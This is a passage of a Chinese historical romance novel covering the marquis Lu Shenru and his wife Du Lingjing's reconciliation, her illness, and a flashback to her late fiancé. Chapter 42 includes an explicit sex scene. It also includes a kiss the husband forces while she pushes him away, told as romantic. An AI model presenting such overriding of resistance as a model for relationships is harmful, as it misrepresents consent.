杜泠静一时没理会他,在另一侧转了转,这才听说附近山里,有温热泉水冬日里也不冻结,村人总是趁着天不亮就上山打上数瓮,到山下来卖。 他们道原本有温泉的地方,都被大户人家买了地盖了宅院,这是今年又冒出来的几处新泉,还没人霸占,又清澈又甘甜。 杜泠静浅浅尝了点,瞧着几位上了年岁的老人家上山打泉不易,准备多买几瓮。 不过她还没开口叫阮恭来卖,竟听见有人在她身后开了口。 “娘子此番,也要自己付钱吗?” 杜泠静不晓得他是什么时候过来的,话音想起,她才察觉他竟就站在了她身后,几乎就贴着她的腰背。 他语调里透着些不寻常的气息,杜泠静暗道他又开始作怪了。 她没回头看他,只道,“那是自然。我还是有些陪嫁的,就不劳烦侯爷了。” 男人一听,就在她发间哼了一声,接着就叫了崇安。 “天寒,莫让这些摊贩再受冻。你去告诉众人,这一条街的泉水我都要了。” 他话音落地,崇安立刻照办。 满街的摊贩一见来了个阔绰的主儿,把所有人的泉水都包了圆,无不欢天喜地,连声道谢不迭。 杜泠静这才忍不住回头看他,见他一副宽和模样,同众人道不当什么。 “此泉甚是澄净甘甜,既卖了我,各位便早些回家吧。” 天色已经不早了,谁人不想赚了钱回家,这会侯府的侍卫借了车来,满街的人都把泉水搬到了车上。 杜泠静纵然想要掏钱,但又从谁手里买呢? 偏他低头向她看来,“娘子既然要自己花钱买泉,那你要买多少?把钱给我便是。” 陆慎如道是要看看她,是不是还要真跟他把账算得一清二楚。 他低头瞧她眼睛,她眼眸上似落了两只蝴蝶,浓密的睫毛一扇一扇的。 他倒要看看她还怎么说,不想她倏然抬了眼,对上了他的目光。 “回侯爷,其实我也没准备真要买,就只是看看而已。” 她不买了,他却为了同她对着来,把整条街的泉水都包了。 男人竟被自己的娘子“摆”了一道,气笑出了声来。 有摊贩先前见他包圆就觉惊诧,这会听见他这般笑,还以为他改了主意,不由紧张地问了一句。 “这泉水,贵人不是不要了吧?” “怎会?”男人回头看了一眼身侧的人,“毕竟是泉水,我必是要的。” 装在瓮里的泉水,陆陆续续地往车上搬去,声音响起,似清澈的山泉越过路边的石,哗哗啦啦落下来一样。 杜泠静心下莫名也跟着泉水在石边一跳,她没开口说话,只眨眼看了男人两眼。 他却叫了秋霖,“再给夫人拿一件披风来。” 秋霖很快去而复返。 他将披风裹在她身上,里外裹了两件,杜泠静不知他要做什么,他却突然将她抱上了他的玄珀。 玄珀极高,饶是杜泠静由他带着骑过一次,突然上来也吓了一跳。 他翻身直坐到了她身后,打马就带着她跑了起来。 这次倒用不着崇平了,他亲自带了她。 一路跑出去,身后秋霖、阮恭和马车都很快不见了。 杜泠静被层层披风包裹并不觉冷,反而比之车内的闷,外间的风自由而放纵。 他将她揽在了怀里,她心想这人是不是不生气了。 可又听他说了一句。 “阮恭他们都不在,泉泉没钱付了吧?” 杜泠静:“……” 他怎么这么爱计较?还想着呢? 是不是天底下最爱计较的人,被她遇上了?偏偏他又不肯让她跟他“计较分清”。 她想说,她是没带钱在身,但发髻上的簪子,却还是可以当钱用的。 不过转念一想,不知从哪天开始,她通身上下,从头到脚,不管是衣裳绣鞋,还是簪子香囊,都是他的。 甚至连她昨日换上的贴身小兜,都是侯府针线嬷嬷们给她绣的。 她愣了一愣,拿簪子也能付钱的话,便没再说出口。 可男人似乎猜到了她的想法,低声笑在她耳畔。 约莫过了两刻钟,他赶在天黑下之前,在一处还算不错的客栈停了下来。 两人刚走进去,便见客栈里有一位在兜售自绣佩囊的婆婆,走了过来。 她这次的佩囊快卖完了,还剩两只被人挑拣剩下的,卖不卖倒也闲情。 她一眼看到眼前高峻挺拔、英武不凡的男人,便眼睛一亮。 男人亦跟她点点头,那婆婆更走上前来见礼,再见男人身后还缓步跟来一位月韵霞姿、清丽出尘的娘子。 那婆婆不由便笑道,“这便是贵人的娘子吧?难怪买了一整匣的簪花相赠。” 男人自是没说什么,但杜泠静微微一顿。 “簪花?” 她没见到什么簪花,转头看了那位侯爷一眼,跟那婆婆道。 “想来婆婆弄错了,一匣子簪花应该是赠给旁的女子的。” 那簪花婆婆闻言一惊,再见娘子头上确实只簪了两串珍珠,她惊得脸色都不好了。 这……说漏了不成? 她惊诧看向一旁的男人。 陆慎如可不想惊吓了老人家,瞥了身侧的人。 “旁的女子?哦,鞑靼公主、酒楼歌姬、世家贵女、寺中小尼,还是俏秀寡妇……” 他本无意惊吓老人家,但卖花的老婆婆眼睛都快瞪出来了—— 这、这么多女子? 杜泠静却紧抿着嘴巴才没笑出来,听见他跟那位婆婆道,又目光指了她。 “若当真有一位就好了,我也不必受她的气了。” 簪花婆婆饱受震惊的心,总算往肚里落了回去。 但杜泠静却愣了愣,向他瞧去。 谁受谁的气? 两人目光相触,悬止在了半空。 婆婆反而看着两人,低低笑了一声。 “贵人和娘子,当真是恩爱。” 恩爱。 杜泠静一时听空了耳朵。 陆慎如见她不语,想到这些日发生的事。 “恩爱是当不得的。” 她眼下只把他当外人。 他嗓音略显低闷,倒也不再将人家买簪花的婆婆牵扯进来,同人家点了头,错开她往里走去。 那位婆婆自也不好再留,跟杜泠静也行礼,端着剩余的佩囊往一旁的茶馆再卖一卖。 杜泠静见他方才分明好多了,这会竟又来了闷气,眼见着往前走去,又不理人了。 她在他身后,默然瞧了他半晌。 秋霖阮恭他们,过了好一阵才赶上来。崇安将客栈最上一整层的客房都包了下来。 杜泠静吃过饭回了客栈,浑身的乏意又泛了上来。 秋霖探了她的额头,“夫人似乎有些热?” 杜泠静道应该是赶路累的,她刚想说歇歇就好,秋霖却转身报给了侯爷。 男人立时大步过来,见她还站在床下,立时抱了她往床上去,又让人去找大夫。 他反复摸了她的额头,皱眉,“是有点热。” 好在客栈里就有个大夫,大夫来切了脉问了诊,细细看了看杜泠静的状况,道没什么事。 “是体内余邪未清。病来如山倒,病去如抽丝,且得几日才能好利索。” 他这么一说,众人皆松了口气。 陆慎如亦定了一定,同她道。 “先睡会吧,若再难受,你叫我。” 说着,想到什么,又正色嘱咐了她,“一定要叫我。” 他神色略显严肃,却也不是先前同她生气不搭理的模样,杜泠静不由多看了他几息。 烛火照的他眸光如炬,里间只映着她的影子。 这几日的他生气的事,莫名地在她脑中浮现了一遍。 而亭君的声音亦悄然响在耳畔。 “你好生想想,人家为什么生气?” 她应了他的话,“我记下了。” 他似乎还有些不信,她只能又道了一遍。 “若有不适,我会说的。” 如此,他才替她吹吸了床边的灯,让她早些睡了。 他自还有几封信要回,往窗下的桌边坐了下来。 崇平拿了信过来,可他去额没能看进去。 目光落在帐中睡去的妻子身上,突然一笑。 他到底在跟她计较什么? 男人起身,推开窗子一条细缝,夜色沉沉,唯有远处山间还有些微灯火。 那年她父亲过世便是在山里。 他听到消息连跑了五天五夜的马,赶到出事的山间时,山里还在下雨。 崇平说她已经寻到了她父亲的尸身,但还留在山中迟迟没走。 他不敢想象她该是如何的心绪,他一路着急往山上去,直到她临时借住的山庄外。 那时天都黑透了,到了半夜时分,天上还在飘雨,他没指望能见到她。 但刚走近,就见一个人提着灯,独自站在山庄外的群山中央。 她似是不甘心,又或是不知为何她父亲会走到这山里来,她来来回回地提着灯往群山望去。 她只穿了一身薄薄的白衣,群山高大无可逾越,她被衬得渺小似山间一颗砂砾。 但她就是不走,无人相陪,是一个人无法入睡,才走到院外来。 她提灯,夜问群山。 陆慎如心如被人攥了一把,松开缰绳下马,大步向她走去。 起初她背着身没看见,只抬头望去漆黑的高山。直到他走近了,她才问声转过身来。 夜里看不清楚,她见他孤身一人,马还停在下面路上,似是路过,向她走来,便问了一句。 “是从此间路过的吗?”她指着前面,“从这儿再往下三刻钟就能下山了。” 她嗓音哑到不行,刺着他的耳朵,她道,“但要小心,山里会有山洪。” 这一句,听得他心头发颤。 他刚想说句什么,不想有人从宅院里寻了出来。 那人远远看见她的灯,就唤了过来。 “泉泉?” 是蒋竹修。 她听见了,同他这个路人道,“我未婚夫来寻我了,你快下山吧,别逗留。我得走了。” 她说着眼泪滴滴答答地落了下来。 每一滴,都砸得他心头发疼。 他想跟她说“别哭”,他想把她抱进怀里。她却越哭越急,不断地抹着眼泪,更是转身向蒋竹修的方向走去。 她提着的灯突然被雨滴打灭了。 “泉泉!”蒋竹修更唤她,提灯向她快步而来。 她突然丢下灭掉的灯,低声哭出了声来,却向蒋竹修突然奔去。 “三郎!” 她抑制不住哭声,她径直扑进来蒋竹修的怀里。 蒋竹修被她撞得手下灯火一晃,她则抱紧了他,将哭泣的泪眼埋在那人怀中。 “三郎,你一定要好好活着,我们一定活到白头!” …… 山中寂寂,陆慎如收回目光,看向帐中睡下的人。 他知道她不可能忘掉那个人,发誓要白头偕老的人,怎么可能忘得了呢? 那人才是她心里的夫婿吧。 彼时的那山里,雨一直落一直落,落了整夜。但此刻的山里没有下雨,京畿的天干得连一滴雨都没有。 时过境迁,他还计较这些做什么? 她习惯跟他客气,就客气吧,两清也没关系。 她总是他陆慎如的妻子,谁也改变不了。 她不当他是她夫君,也无所谓。 就算她一辈子都只当他是个外人,又能怎样? 男人将窗子向回拉了过来,遥远的山景被挡在了窗外。 正这时帐中有了动静。她坐了起来。 “怎么了?难受睡不着吗?”他问去。 她撩了帐子,坐到了床边,“我有点口渴。” 男人立时给她倒了杯温水递了过去。 他伸手摸了摸她的额头,“还有点热。” 她说没事,低头把一杯水都喝了,他接了杯子过来,听见她道了句,“多谢……” 又是多谢。 陆慎如暗沉一气,让自己别计较,抿唇准备给她再倒一杯。 不想还未转身,她忽的又道了一句,接着那句前面那句。 多谢,她声音极轻,叫了他。 “……夫君。” 第42章 “多谢……夫君。” 陆慎如要转身给她再倒碗水来, 还未及离开,这句如同细风一样,在他耳边悄然擦了一下。 轻极了。 他转头望去, 不知是房中闷热,还是病还未好, 她脸颊上泛着些潮红。 烧糊涂了是不是? 她最好不是烧糊到叫错了人。 他抿唇放下茶盅, 又伸手向她额头上探去。 他伸手探来,杜泠静就知道他是什么意思了。 她躲了他的手,不由道,“我没高烧。” 四个字叮叮咚咚地落进陆慎如耳朵里, 方才那句极轻的话,擦在他耳边, 此刻后知后觉地擦得他耳边隐隐发烫。 “那你就再说一次。” 他看着她的眼睛。 夜静极了,窗外的山里一点声音都没有,只有她微促的呼吸声,混着他重重的心跳, 搏动在他胸前。 他低声, “再叫我一次。” 他双眉紧压着, 墨色眼眸如渊一般吸噬着她,他让她再叫他一次。 杜泠静呼吸更促几分, 但暗暗咬了唇。 “那侯爷还是当我高烧了吧。” 她不肯了,陆慎如咬了牙。 果是惯会折磨人的。 但下一息, 他伸手握住了她的手臂,轻轻一拉, 另一只手已拨上了她的耳朵,带着薄茧的手托着她耳朵与后颈,把她向他身前拢来。 他英眉压得更紧了, 低压的眉眼仿佛抵到了她眼里。 他发哑的嗓音更低,但也更轻。 “就再叫一次。” 她被他扯到身前,又被他托了脖颈,迫着她仰头对他,唇角几乎蹭到他唇边。 他后面这一句听着低沉,却莫名暗含些微不易察觉的乞求。 杜泠静怔了怔。 亭君让她自己想,她想了一整日,所以他两番同她不悦,都是因为这个? 他觉得她,没肯信他,没与他真正亲近,更是没把他当夫婿? 这事就这么重要,让他连生了两次气,一次比一次气得闷。 杜泠静觉得他真是好笑,又是真怪,怎么会有人在意这个? 他握着她的手臂越发用了力,那力道重而霸道,连这一息的出神都不许她出。 他在等她的回应。 但她显然逃不脱他的掌心了。 杜泠静又咬了咬唇,但亦抿唇轻轻笑了笑。 “夫君。” 她羽睫轻扇,男人看到了她如水的眸子里,那点点溢出的笑意。 温柔似春水。 仿若几近闷死的人被灌了一口气。 男人却莫名想到了她嫁给他的那日。 那日断断续续地下了一整日的雨,新房里众人围拢,两个喜婆争相说了满屋的吉祥话。 他连道“重重有赏”,只是挑开红盖头,却见她长眉轻蹙,面上泪痕还有余泪,她眸色淡着,不肯看他一眼…… 但今日,不知是高人点了她,还是额上余热未退。 她叫他,“夫君”。 男人微微低头,想噙住她抿了甜意的唇角,只是唇下尚未触及,她忽的抬手抵在了他胸前。 怎么?他瞧她眼睛。 她眼睫轻颤,“我病没好,会过病气给你。” 杜泠静说去,听见他摇头轻笑。 “就你这点病气?” 病气还分多少? 杜泠静不知他怎么敢瞧不起风邪的厉害。 她认真伸手用力抵着他,不许他再靠近。 她自觉用了大力,却被他转手一捉,将她两手都捉在了手心里。 杜泠静一讶,这一气还没吸进口中,已被人噙住了唇角。 他像是在吻,又像不是,她自问今日没有吃甜口的点心和糖,他却仿佛尝到了甜味,小心地吃着,又自她唇角向内里找寻。 扣在她耳边后颈的手掌,还不断将她向他压来,她只要略略一动,或者微闭双唇,他便拇指轻轻拨弄她的耳珠。 耳边发麻,她不禁张口,他更向她唇舌内翻找,但她真的没吃糖,偏他不信,呼吸间越发急促,他开始强势地攻掠了城池。 他双眸紧闭,但力道半分不缺。 杜泠静突然有点了解这个人了。 但凡给他让一步,他要占据整条路;给他开半扇门,他便抢整座楼;跟他示一点软,那么就只能任由他随意取求…… 他还不肯松开她,见她快坐不住了。他托着她的腰身替她撑着,也不许她撤开。 杜泠静暗恼,趁他不备,一下咬在他唇上。 他一愣,紧闭的双眸睁开。 但眸中射出的光亮令杜泠静心下急跳,下一息,他直接将她抵在了床围上…… 不知过了多久,他离开她的唇舌时,杜泠静快透不过气来了。 显然她病还没好,他没有再进一步,难得地放了她一回。 他撩起她散下的碎发,拨弄着她的额角。 “泉泉……” 杜泠静呼吸起伏不断,完全不想理他了,转过了头去。 幸好崇平在外回话,道是方才那位客栈里的大夫,给她临时配了一副药。 “说是夫人今晚服下药丸,明日里上路更平稳些。” 他闻言起了身来,又叫了崇平进来。他闻了药丸,又问了制法,崇平一一答来,他点了头,吩咐了崇平,“重重有赏。” 崇平立刻去了,他则重新倒了水,把药丸拿了过来。 就这一颗药丸,杜泠静暗想,他所言的重重有赏,该是怎么个赏法? 她又觉他好笑,好像他最喜欢这句“重重有赏”。 好在有病气相护,晚间他没再如何,只是睡觉的时候,在锦被中间,暗暗握紧了她的手。 但翌日上路,他跟她一道坐了马车。 有了昨晚那位大夫的药,今日杜泠静确实好多了,但他非要她多睡会,又道,“靠在我身上。” 杜泠静脸上发热,秋霖和艾叶两人还都在车里呢。 好在京城遥遥在望,不过等马车驶入了积庆坊永定侯府,他便被人围了上来。 一连几日在保定与京城间折返,饶是路上料理了不少急事,这会还是有事寻他、有人求见。 他甚至不及送她回正院,连崇平都抽不开身了。 如此等到天色渐晚,他好像终于有了点空。 杜泠静刚让人去叫了赵掌柜,想问近来归林楼收书的情况如何。 拂党众人都找到了,归林楼收书可以精细挑选着慢慢来了。 但赵掌柜还没来,崇安倒是奉了他的命来了一趟。 崇安提了个鸟笼,里面立着个羽毛五颜六色的鹦鹉。 “夫人,夫人!”鹦鹉刚到了廊下就叫了起来。 杜泠静走过来,崇安道是下面的人给侯爷送的小玩意,“侯爷说给夫人解闷,侯爷还得晚些时候才能忙完。” 杜泠静晓得他忙得没边,但她也不必他总来陪她。况不管是小孩子还是小动物,她一贯不太敢触,这会只隔了一步站着打量。 崇安道,“夫人放心,这鸟是受了训的,温顺的很。 ” 如此杜泠静才又靠近了些。 说话的工夫,菖蒲艾叶他们都围过来瞧,菖蒲最好这些,眼下见了便道。 “这是红嘴绿鹦哥,小的先前往千兴坊闲逛,见有人赌空了手,就拿这个来抵,可值钱呢!” 他这句没说完,阮恭眼神都杀到他脸上去,“你小子还敢去千兴坊。” 崇安也暗道,阮管事赶紧收拾这小子。 整个侯府上下没人敢去赌坊,偏他是夫人的人,想去哪都行。 菖蒲则赶紧往杜泠静身边躲来,这回连杜泠静都瞥了他。 他赶紧岔开话题,“小的错了,只是去瞧瞧他们又在押什么?” “押什么?”杜泠静问。 菖蒲这回却没敢说。 总归侯爷同夫人的事,总被人拿来猜测,还有人问陆侯夫人成婚后,从未赴过勋贵各家的宴请,是不是文臣之女的身份尴尬,与侯府交好的公侯伯府无法相容。 他只道都是些东家长西家短的事,连忙转换了话题,说这红嘴绿鹦哥最是会学人说话,“夫人要不教教它,说什么都成。” 崇安闻言也道正是,同杜泠静道。 “侯爷的意思,就是让这鹦哥来学夫人您说话。” “学我么?” 杜泠静摇了摇头,她平素话并不多,也没什么有趣的口头禅,她倒是想起了某人。 “倒是可以教它说点旁的。” …… 陆慎如忙完,抽换衣裳的工夫问了崇安一句。 “那鹦哥,夫人可喜欢?” 崇安忙点头,说夫人当即就教了鹦鹉说话。 男人笑起来,“都说了些什么?” 不想他问去,崇安却没回答,反而憋着笑了一声,“侯爷回去就知道了。” 男人挑眉,待到了晚间,终于把事情料理得差不多了,大步回了正院。 他进到院中,便看见灯烛在花窗上投出影子,有人坐在窗边低着头看书。 她在客栈那句“夫君”,引得他心头轻轻一跳,他不由加快脚步,撩帘进到了房中。 吵到了她,她抬头看来。灯影又将她羽睫拉得长而翘,投在眼眸间的鼻梁上。 她没再叫“夫君”,但也没叫“侯爷”,只是瞧着他,柔声道了句。 “回来了?” 她手里还握着书,陆慎如心下荡漾开来。 他不禁上前坐到她身侧,“下晌自己一人可闷?那鹦哥,你教它学你说话了?” 她眨了眨眼,眸中有笑意露出来,陆慎如目光只定在她脸上,直到她往多宝阁下指去,“教了,在那呢。” 陆慎如回了神,忽的想到崇安跟他回话时古怪的样子。 他起身走了过去,伸手逗了那鹦鹉一下,回头看了窗下的妻子一眼,又道,“夫人怎么教你的,说两句。” 鹦鹉好像识得他,先是尖声叫了声“侯爷”,接着再一开口。 “重重有赏!重重有赏!” 陆慎如一顿。 再回头看自己的妻子,见她捂着嘴忍着才没笑出声。 那鹦鹉声音不小,只把房外都唤出了憋着的笑来。 男人摇着头笑了,再低头去看他娘子。 “这就是你教的?这是学谁?” “重重有赏!重重有赏!”鹦鹉还在叫。 杜泠静已经忍不住了,脸都笑热了,却见男人走了过来。 他只看着她,一味看着,突然问了句毫不相干的话。 “身子好了吗?” 杜泠静下意识点了头。 她点过头,忽然意识到什么,顿了顿。 他则嗓音哑了下来,“那就好。” …… 京城没下雨,但窗下的芭蕉似感到了窗内传来的潮热湿气,随着夜风摇曳生姿。 房中没再点香,帐内却又莫名的旖旎香气,混着交处散出的湿热不断盘旋。 杜泠静身下的锦被快湿透了,细汗从她颈窝里汇成汗珠,随着他倏然的力道,从后背滑落下去,沾在披在身后的长发上,又从发梢啪嗒滴落下来。 她呼吸急促着交叠,纤细的身形因着连日的病更显纤薄。男人多有顾念,揽着她,替她撑着,才能让她能承更多。 直到渐渐,纵然没有香气熏染,她也能完全耐下。 男人将她手臂扣在腰间,生了薄茧的手,连同她细臂一并握住她的腰。 芭蕉叶于窗下随风大起旋来,而他握着她深击又深出。 芭蕉叶被风吹得呼呼拍打着自身作响,直到她咬紧了唇,脚尖微搐,已近腊月的数九寒天里,她于高阔却潮热的纱帐间落下一场疾雨。 娘子如同一张香软的小帕,在锦被里完全被打湿了。 男人又过了一阵才停下,抱了她往净房而去。 侯府正院里烧了地龙,正房里烧了,连给她布置成书房的西厢房里也烧了。 整个院子暖烘烘的,只是将她放进阔大的水盆里,看着她纤长白皙又微微泛红的身子,在水下由着他揽着,他忽的想起她那声“夫君”。 一时间,他将她抱紧,又抵上了她。 她睁大眼睛,却也无从可逃。 水泽遍布,他令她在水浪中又泄了一次,她彻底脱了力…… 翌日又歇了一天朝。 但陆慎如没能等到他娘子与他一到吃饭。 嬷嬷往正房里看望了一回夫人,出来的时候脸色肃正着,叫了他。 “老奴有话要同侯爷说。” 陆慎如心下一叹,请了嬷嬷往旁处,不禁回看了一眼房里,才道。 “嬷嬷请讲。” 嬷嬷脸色甚是严肃。 “侯爷是什么人?夫人又是什么人?” 陆慎如想到她的病分明好了,今早竟然又有点热,床都下不来了,便在嬷嬷眼前一句话都说不出口。 “侯爷是驰骋沙场的大将军,夫人是安坐书楼的读书人。”他听着嬷嬷训斥,“莫说夫人身子本就娇弱,病又刚好,只说夫人初尝人事才多久?怎经得侯爷一夜折腾?” 嬷嬷突然道,“侯爷这般没轻没重,干脆纳两房妾室吧,也免得折腾得夫人无法休养。” 话音落地,男人慌了一下。 “嬷嬷使不得!” 他连忙道,嗓音闷着,“我只要她一个。” 嬷嬷抬眼看了他一眼,“那侯爷便爱惜着夫人,多疼惜些。侯爷能做到吗?” 陆慎如叹气,“做得到。” “那之后,香也给夫人点上吧。” “香还要点吗?” 他能感觉到,他跟她今时不同往日了。 但嬷嬷却说要,又抬眼瞧了他一眼。 “那香不禁能令夫人舒坦些,还有助夫人早早有孕的功效。” 话音落地,男人微顿,他不禁又回头向房中内室的方向看去。 助孕? “那劳烦嬷嬷。” …… 杜泠静一连歇了三日,才彻底恢复了过来。 前几日叫印社的赵掌柜来说话,竟都没能见上,今日起身便觉神清了许多,秋霖见她气色恢复,便道。 “夫人要穿那身衣裳?” 她在问衣裳,却拿了一匣子簪花过来。 杜泠静从没见过这簪花,但打开匣子,簪花铺得满满当当。 算不得精巧,但胜在多姿多彩,栩栩如生。 她顿时明白了这簪花的来历。 秋霖道,“侯爷吩咐针线房给夫人做的衣裳,已赶制出来几身,正与这些花各自相配。” 秋霖也喜欢她戴花,想着从前老爷在世时,便嫌姑娘性子过于静了些,旁人都有母亲打扮,她没有,便总记得给她买点热热闹闹的花戴在头上。 没想到老爷不在了,侯爷却也寻了这许多花来给姑娘。 秋霖笑起来,捡了一只白粉相间的海棠,“姑娘不若就戴这个,针线上今早恰送来一身粉裳白裙。” 杜泠静从善如流,不过是衣裳而已,穿什么倒也差不多。 只不过她穿上这身衣裳,发髻上簪了一朵大大的海棠,从铜镜看过去,一时竟晃了眼。 铜镜里如海棠花般娇艳的人,是她自己么? 她不禁讶然多看了两眼。 秋霖在旁笑出声来,“姑娘怎么连自己都不认识了。” 杜泠静愣了愣,也摇头笑了。 她跟自己,竟有点陌生了。 * 京城外城,西边广宁门前。 蒋枫川先于拂党众人一步进了京。 他不必似扈廷澜兄妹那般,往大理寺协助审理邵伯举的案子,但翻过年四月,他就要参加明岁春闱,届时若能榜上有名,青州蒋氏一族多久没出进士了,必然阖族皆庆。 家里来了信,让他不要再到处游走,早早进京休歇,准备春闱大考。 这会蒋枫川跟惠叔商量,“先前我住在澄清坊杜家,如今惠叔都不许我叫她嫂子,住她宅邸也不合适,不若就在杜家附近点个小院住吧。” 他说得可怜巴巴,但惠叔连道,“六爷还是往别处住吧,京城大得很呢。” 何必就在澄清坊呢?就在夫人眼皮前。 他这么一说,蒋枫川低哼了一声。 “嫂子也不让叫,典院也不能近,是不是人也不能见了?” 惠叔一脸尴尬,他则道,“那我去积庆坊侯府门口典个院子,惠叔看行吗?” 惠叔大惊,“六爷!” 不想蒋枫川还真就转道要往积庆坊去。 谁料就在这时,有人叫住了他们,蒋枫川转头看去。 “朴嬷嬷?” 蒋太妃身边的朴嬷嬷。 朴嬷嬷上前,“六爷来京候考的事,娘娘已经知道了。六爷不必再往旁处去,到红螺寺来吧,娘娘请住持为您备好了客房。” 朴嬷嬷说完,蒋枫川就看向了一旁的惠叔。 “惠叔跟太妃娘娘说了我要来?” 惠叔脸色略略尴尬。 若非是蒋太妃娘娘,这京城谁还管得住六爷? 他低头不言,蒋枫川则笑了一声。 朴嬷嬷亲自来了,蒋枫川只能随她去了红螺寺。 到红螺寺拜会过主持,蒋枫川边往后面的清修地去,他一路往里而去,直到一处大殿前。 蒋太妃娘娘正立在神像前。 高大的神像俯瞰着世人,蒋枫川上前拜了神像,又跟她行礼。 未及蒋太妃开口,蒋枫川先出了声。 “娘娘怎么也帮她也防着我?” 这话直让蒋太妃叹了一声。 “你也晓得是防着你?那何故还要扰她?且让她安安静静好生过日子吧。” 可是这话出口,蒋枫川就低低笑了一声。 他没提让杜泠静安安静静过日子当如何,他只是笑着,嗓音微哑,低声开口。 “三年前,三哥本是能与我一道来京候考春闱,大夫都说了,他的病还不到最后的时候,他还有一年半载的。但他没来成。” 他问,“娘娘可知,为什么他没能来?” 他更低声,“若您知道三哥是怎么没有的,也能平心静气吗?” 第43章 那是殷佑七年, 三年前。 杜阁老过世三年有余,孝期是二十七个月。 惠叔记得,姑娘除服之后没多久, 就同三爷提及定下婚期。 三爷身子虽然无法恢复康健,但也尚算平稳, 姑娘有意将婚事定在下半年, 可不知为何,三爷迟迟没有答应,姑娘连着提了好几次,婚期却一拖再拖。 拖到了下半年入了秋, 三爷身子渐渐不济起来,姑娘再提定下婚期之事, 他便道等明岁春夏,他恢复一些。 但姑娘生了气,不肯等了。便同两家族中长辈商议,将亲事定在腊月十六。 姑娘说, 她要给他冲喜。 三爷得了消息, 当时便换了衣裳, 往老爷太太处去。老爷太太见他来了都吓了一跳。 他从殷佑六年年末开始病重,这一年都没怎么出门, 更不要说着急忙慌地亲自到了老爷太太的院子。 老爷问他想做什么,他道自己身体不成, “这婚期太近了,我身子恢复不过来, 也没法大婚当日,去迎娶静娘过门。” 他想再把婚事往后推。 太太一听就落了泪,说是姑娘定的日子, 也是姑娘要给他冲喜。 “你身子没恢复倒也无妨,届时让六郎替你去迎亲,你只在家中等着便是。兴许静娘给你冲喜真有用。” 太太说得三爷叹气笑了起来,“娘这些年拜过多少神佛,若是信天有用,儿子早就好了。况我也不要她冲喜进门。” 他不肯,老爷道,“但这是静娘执意定下的日子,蒋家一推再推,旁人看着还以为杜阁老过世,我们便瞧不上静娘了,没得让她失了颜面。” 老爷说,“你若实在不愿意,自己去同静娘商量吧。” 二老做不了主,三爷回了自己的院子,便叫人套了车。 彼时天都快黑了,蒋家同杜家虽说都在青州,却还隔着些路程。 惠叔劝他明日再去不迟,但他摇头,惠叔只能亲自陪了他前往。 马车一路往杜家驶去,三爷坐在车中默不作声,惠叔不知他到了杜家勉楼下,见了姑娘要怎么跟姑娘开口。 惠叔只怕两人好端端地,因为婚期争执起来,暗暗犯愁不已。 马车很快到杜家门前时,但三爷没有让人前去敲门,只是站在勉楼院外的一片树林里,抬头往勉楼瞧去。 天色黑透了,林外一轮皎月悬在勉楼上空。勉楼里二楼亮着,这个时候还亮着灯,显然姑娘就在楼中或是修书或是收整。 三爷一直抬头往灯亮处看去,有那么几息,姑娘似是从窗边走过,灯将她的影子投在窗子上。 惠叔见三爷抬头看着楼上姑娘的身影,轻轻地笑了笑。 月从勉楼的一边,悄然滑去了另一边,林中夜风添了几分寒意。这时二楼上的光亮倏然一灭,姑娘理过书,从书楼上下来了。 果然未几时,院中有了秋霖他们说话的声音,和姑娘时不时的回应。 惠叔想,三爷亲自跑来这一趟,这应该是跟姑娘说话最好的时候了。 谁料三爷就在院外的林中,一直听着院内说话声音渐渐远去,也没有让人前去叫门。 惠叔不明白三爷这是何意,三爷却转了身,“我们也回去吧。” “回去吗?那婚期呢?”惠叔不禁问他。 皎皎月色下,惠叔见青年人苍白病色的脸上,唇下微弯。 “既是她定的,那就定在腊月十六吧。” 那日三爷没同姑娘见面就折返了回来,回程的路上,惠叔见他心绪平和了下来,一直往车窗外看去,眸色柔和如月。 蒋家早就将三爷的喜服做好,大红锦袍批金丝绸缎,用的是宫里的蒋太妃娘娘赐下来的红锦。 只是三爷却越发消瘦下来,从九月到十一月,婚期未到,喜服就已改了两次。 三爷的病也越发重了,太太每每来看三爷就要抹泪。恰好从前给三爷看诊的李大夫,从京城游历半载而回。李大夫医术高超,乃是青州名医,蒋家当即便请了他再给三爷看诊。 半年前李大夫留得方子一直用着,如今再重新问诊开新方子调一调,自然是好事。 但三爷却止了太太,说原先的方子就可以,不必再请人家专程往蒋家跑一趟。 可惠叔却肉眼可见地三爷身子越来越不济,某日晚间,他怕三爷冷到,又想往他书房多添一盆炭,不想进了书房却见他竟昏倒在了书案上。 太太闻讯赶来的时候手都颤了,好在没多久,三爷就苏醒了过来。 惠叔说他是昏倒了,最好还是寻那李大夫再来看看,但他却说自己只是睡了过去,“不必李大夫看,久病成医,我晓得自己如何。” 他就是不肯看大夫,太太拿他没办法,惠叔却悄悄让人往杜家送了信。 正值杜家勉楼刚从江南收了书来。 那是江南一位过世的藏书大家的书,人死之后不过三年,诸子争产,将生前辛辛苦苦收拢来的群书变卖分产,一夕之间书楼坍塌,各家藏书楼纷纷接手,杜家勉楼自然不能放过这个收书的机会。 原本姑娘最好是亲自去一趟江南,但婚事在即,姑娘也放心不下三爷,便只让阮恭和赵掌柜走了一趟。 眼下二人买了两车的书回来,姑娘自是在勉楼忙得抽不开身,好几日没来蒋家了,三爷当然也去不了。 若非是他迟迟不肯看大夫,惠叔不会去打扰姑娘。 这日他送了信,送信的人折返,姑娘径直就跟了回来。 彼时三爷正在厢房的药柜前。 他是久病的人,常年和各种各样的药材打交道,这些日以来,李大夫之前的方子,三爷免了下面的人忙碌,都是自己每日亲自来药柜前配的。 惠叔发现,他有时候用的药,和李大夫的方子并不完全一样。 那日三爷也在给自己亲自配药,只是配到一半,姑娘从外面来了。 她脚步踏入厢房里,叫了一声“三郎”,惠叔便见着三爷拣药的手顿了一下。 姑娘皱眉上前,“你为什么不让李大夫来给你看诊?” 她问来,三爷将捡了一半的药收起来放到一边。 他没回答她的问题,只看了一眼窗外。院中的竹子被吹弯了腰,窸窸窣窣地作响不停。 “你怎么过来了?今日风甚是大。” 他说着明白过来,无奈地转头,“惠叔……” 他怪他今日这么大的风,把姑娘请了过来。 惠叔未及开口,姑娘倒是先说了话。 “你怪惠叔作什么?” 姑娘只问他,“你不看大夫是故意的?还不让惠叔跟我说,是不是?” 姑娘语气沉了两分,三爷最见不得姑娘这般,连忙道。 “不是,你别生气。” 他道,“你先坐下,我跟你慢慢说。” 他说着,示意小厮沏了新茶来,不时茶水到了,他便挥手让人下去了。 他惯来是亲手给姑娘倒茶,今日也是一样。 但稍稍走动几步,气喘起来,姑娘吓了一跳,不知他何时病得这么重了。 “我不用你忙,我自己倒茶就可以。” 可三爷却不要她伸手,他不需要任何旁人替他做这件事,只低头给她倒茶,“我还没虚弱到那等地步,茶还是倒得了。” 